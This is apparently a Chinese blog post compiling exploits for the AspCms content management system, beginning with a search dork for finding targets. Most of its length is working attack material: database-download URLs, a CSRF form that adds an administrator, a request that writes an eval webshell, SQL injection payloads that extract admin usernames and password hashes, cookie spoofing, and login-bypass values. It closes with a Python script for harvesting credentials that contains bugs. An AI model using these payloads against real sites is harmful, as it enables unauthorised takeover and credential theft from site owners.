搜索关键词:intitle:Powered by AspCms2

后台地址泄露

浏览器访问:

1
http://xxx.com/plug/oem/AspCms_OEM.asp 

即可弹出错误提示,然后重定向用户到真正的后台地址。。。

点击确定,跳转到后台

数据库信息泄露

在ASPCMS2.3.x中,ASPCMS的数据库在/data/目录下,为了防止数据库被下载,把数据库文件data.mdb重新命名为#data.asp,由于设置不当,使用%23编码#即可绕过访问,导致信息泄漏:

1
http://127.0.0.1/data/%23data.asp

在最新版的2.5.2中,把数据库文件aspcms252.mdb重新命名为#aspcms252.asp,由于配置不当,使用%23编码#即可绕过访问,导致信息泄漏:

1
http://127.0.0.1/data/%23aspcms252.asp

V2.5.6权限提升漏洞

注册普通用户的时候抓包,修改Gender参数的值(括号后面为%16 URL-decode后的字符):

成功登录管理后台:

V2.5.2 CSRF添加管理员及GetShell

后台添加管理员的请求如下:

1
2
3
链接:http://10.65.203.100:90/admin_aspcms/_user/_Admin/AspCms_AdminAdd.asp?action=add

POST:GroupID=1&LoginName=111111&Password=111111&AdminDesc=111111&UserStatus=1

可以看到没有防御CSRF,我们构造伪造表单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<FORM name="form" action="http://10.65.203.100:90/admin_aspcms/_user/_Admin/AspCms_AdminAdd.asp?action=add" method="post" >
<TD align=middle width=100 height=30>管理员组</TD>
<select name="GroupID" id="GroupID">
<option value="1" >超级管理员组</option>
<option value="6" >lpyuan</option>
<option value="5" >普通管理员</option>
</select>
<TD align=middle width=100 height=30>管理员名称</TD>
<INPUT class="input" style="FONT-SIZE: 12px; WIDTH: 300px" maxLength="200" name="LoginName"/>
<TD align=middle width=100 height=30>管理员密码</TD>
<INPUT type="Password" class="input" style="FONT-SIZE: 12px; WIDTH: 300px" maxLength="200" name="Password"/>
<TD align=middle width=100 height=30>管理员描述</TD>
<INPUT class="input" style="FONT-SIZE: 12px; WIDTH: 300px" maxLength="200" name="AdminDesc"/>
<TD align=middle width=100 height=30>状态</TD>
<INPUT class="checkbox" type="checkbox" name="UserStatus" checked="checked" value="1"/>
<INPUT class="button" type="submit" value="添加" />
</FORM>

CSRF直接GetShell:
后台编辑模板时,发送请求如下,我们可以添加模板的filename和filetext:

1
2
http://10.65.203.100:90/admin_aspcms/_style/AspCms_TemplateAdd.asp?acttype=html&action=add
filename=111111.asp;111111.html&filetext=%3C%25eval%20request%28%5C%27wooyun%5C%27%29%25%3E

再此过程中也没有做任何验证,而且对添加模板的文件名也没有严格处理,导致CSRF直接获取webshell:

shell地址为:

1
http://10.65.203.100:90//Templates/cn2014/html/111111.asp;111111.html

投票站后台登录漏洞

aspcms开源投票系统的后台管理登录页面对输入字符过滤不完善,可构造特定字符登录管理页面`

/admin/check.asp中仅对用户输入的小写or and进行了过滤,当用户构造**admin’ OR ‘’=’**的大写用户名时,可直接以管理员身份登录后台。

AspCms_ContentFun.asp SQL注入

漏洞存在于/admin_aspcms/_content/_Content/AspCms_ContentFun.asp,这个文件未验证管理员权限,因此如何人都可以访问,同时该文件对获取的参数没有使用自定义的filterPara函数过滤,导致多处注入

payload:

1
http://192.168.116.130/aspcms/admin_aspcms/_content/_Content/AspCms_ContentFun.asp?action=tdel&id=2=iif(((select asc(mid(LoginName,1,1)) from AspCms_User where UserID=1)=97),2,chr(97))

查询管理员用户名第一个字符是否为a

1
http://192.168.116.130/aspcms/admin_aspcms/_content/_Content/AspCms_ContentFun.asp?action=tdel&id=2=iif(((select asc(mid(LoginName,1,1)) from AspCms_User where UserID=1)=98),2,chr(97))

查询管理员用户名第一个字符是否为b
如图,返回为假,强制报错:

静态生成Getshell

在发表文章中写入shell代码 会解析执行.
针对低版本Apache容器和iis6 均引发该问题

自定义生成.

GetShell

后台文件无验证注入+ cookies欺骗

apscms2.1.4 GBK版

后台注入

1
http://www.aspcms.com/admin/_content/_About/AspCms_AboutEdit.asp?id=1%20and%201=2%20union%20select%201,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35%20from%20aspcms_user%20where%20userid=1

版本不同需要更改值。

Cookies欺骗

在不知道管理员账号密码,我们可以利用Cookies欺骗进入后台

1
cookies:username=admin; ASPSESSIONIDAABTAACS=IHDJOJACOPKFEEENHHMJHKLG; LanguageAlias=cn; LanguagePath=%2F; languageID=1; adminId=1; adminName=admin; groupMenu=1%2C+70%2C+10%2C+11%2C+12%2C+13%2C+14%2C+20%2C+68%2C+15%2C+16%2C+17%2C+18%2C+3%2C+25%2C+57%2C+58%2C+59%2C+2%2C+21%2C+22%2C+23%2C+24%2C+4%2C+27%2C+28%2C+29%2C+5%2C+49%2C+52%2C+56%2C+30%2C+51%2C+53%2C+54%2C+55%2C+188%2C+67%2C+63%2C+190%2C+184%2C+86%2C+6%2C+32%2C+33%2C+34%2C+8%2C+37%2C+183%2C+38%2C+60%2C+9; GroupName=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1%D7%E9

把后台登陆中的login.asp改成index.asp直接进入后台

webshell获取

所有版本存在后台编辑风格 可以修改任意文件,获取webshell就很简单了

1
AspCms_TemplateEdit.asp?acttype=&filename=../../../index.asp

V1.5版SQL注入

/plug/productbuy.asp 对接收的参数id没有进行过滤而导致的注入漏洞,注入后的页面有跳转,所以要快,建议用快捷键复制

爆用户名EXP:

1
http://www.***.com/plug/productbuy.asp?id=2+union+select+1,2,LoginName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1

这是爆ID=1的账户名,如果发现权限不够可以往后试2,3,4………..

爆密码:

1
http://www.webshell.cc/plug/productbuy.asp?id=2+union+select+1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1

任意用户密码重置漏洞

aspcms会员中心的某些页面,对用户的验证存在缺陷,修改cookie后提交即可重置任意用户的帐号信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
'member/reg.asp
dim action : action=getform("action","get")
if action = "reg" then
addUser()
elseif action = "editpass" then
editUser()
else
echoContent()
end if
'第3-10行 接受一个get请求,如果action为editpass时候执行editUser过程
Sub editUser
dim LoginName,userPass,reuserPass,Email,Mobile,Address,PostCode,Gender,QQ,TrueName,Phone
LoginName=trim(rCookie("loginName"))
userPass=getForm("userPass","post")
reuserPass=getForm("reuserPass","post")

Email=filterPara(getForm("Email","post"))
Mobile=filterPara(getForm("Mobile","post"))
Address=filterPara(getForm("Address","post"))
PostCode=filterPara(getForm("PostCode","post"))
Gender=filterPara(getForm("Gender","post"))
QQ=filterPara(getForm("QQ","post"))
TrueName=filterPara(getForm("TrueName","post"))
Phone=filterPara(getForm("Phone","post"))


if userPass<>reuserPass then alertMsgAndGo "两次输入密码不相同","-1"

dim passStr
if not isnul(userPass) then passStr="[Password]='"&md5(userPass,16)&"',"

Conn.Exec"update {prefix}User set "&passStr&" Email='"&Email&"',QQ='"&QQ&"',Mobile='"&Mobile&"',Address='"&Address&"',PostCode='"&PostCode&"',Gender="&Gender&",Phone='"&Phone&"',TrueName='"&TrueName&"' where LoginName='"&LoginName&"'","exe"
alertMsgAndGo "修改成功","editPass.asp"
End Sub
'第24-47行 是editUser过程
'从中可以看出,对用户修改密码根本没做任何验证,cookie值是我们可以修改的
'将LoginName值修改为admin提交修改即可重置管理员信息
'同样存在此问题的还有userinfo.asp 页面

V2.2.9 登录绕过漏洞

ASPCMS是国内一款非常流行的CMS 建站系统,其2.2.9版本inc/AspCms_CommonFun.asp文件,在问题函数checkLogin中,

line 1152:只检测了从cookie取出的adminName是否为空,只要adminName不为空即可绕过第一个检测逻辑,

line 1157又检测了Permissions是否等于all,所以当构造cookie中Permissions的值为all即可绕过第二个检测逻辑,

在line 1162检测了从cookie中取出的adminrand值是否为空,只要adminrand不为空即可绕过第三个检测逻辑,

在line 1163对从cookie里面取出的adminName带入sql语句进行查询,要是查询结果不唯一或者为空的话,程序就提示失败,所以当adminName注入一条语句之后便使得逻辑正确,将成功绕过登录。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Function checkLogin()
if isnul(rCookie("adminName")) or rCookie("adminName")="" then
alertMsgAndGo"您还没有登陆","/" //adminName不能为空
else
dim Permissions
Permissions=rCookie("groupMenu")
if Permissions<>"all" and isnul(Permissions) then
alertMsgAndGo"您没有访问权限","-1" //groupMenu需要等于all
if not isnum(rCookie("adminrand")) then alertMsgAndGo"您没有访问权限","-1" end if
sql = "select count(*) from {prefix}User where LoginName = '"&rCookie("adminName") &"' and adminrand='"&rCookie("adminrand")&"'"
Dim rscoo : Set rscoo=Conn.Exec(sql,"r1")
if rscoo(0)<>1 then
wCookie"adminName",""
wCookie"adminId",""
wCookie"groupMenu",""
wCookie"SceneMenu",""
alertMsgAndGo"您没有访问权限","-1" adminrand值需要为一个数字,SQL语句必须成立且返回数字为1时才具有访问权限。
end if

payload:

1
2
3
groupMenu=all;
adminrand=1;
adminName=admin' or ‘1’='1

commentList.asp SQL注入

payload:

1
/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user

返回后台账号和密码的MD5。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from bs4 import BeautifulSoup as bs
import requests
import hashlib
from urllib.parse import urljoin
import re

def ASPCMS_EXP(url):
i2=urljoin(url.strip(),"/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user")
try: # 加入异常处理,让报错直接忽略,不影响程序运行
r = requests.get(i2, timeout=4) # 请求网址并进行超时判断
if r.status_code==200:#判断网址是否可以正常打开
soup=bs(r.text,"lxml") #用bs解析网站
if hashlib.md5: #判断网址中是否有MD5,如果有则继续运行
mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text #获取line11数据
mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text #获取line2数据
m1 = str(re.findall(".*者(.*)IP.*",mb1))
m1=str(re.findall('[a-zA-Z]+',m1))
print(i.strip()+"网站的后台登录名和密码是:")
print(m1,mb2)

except:
pass


if __name__=='__main__':
ASPCMS_EXP()

结语

以上内容均来自互联网,感谢大佬们的无私分享,博主只是整理汇总。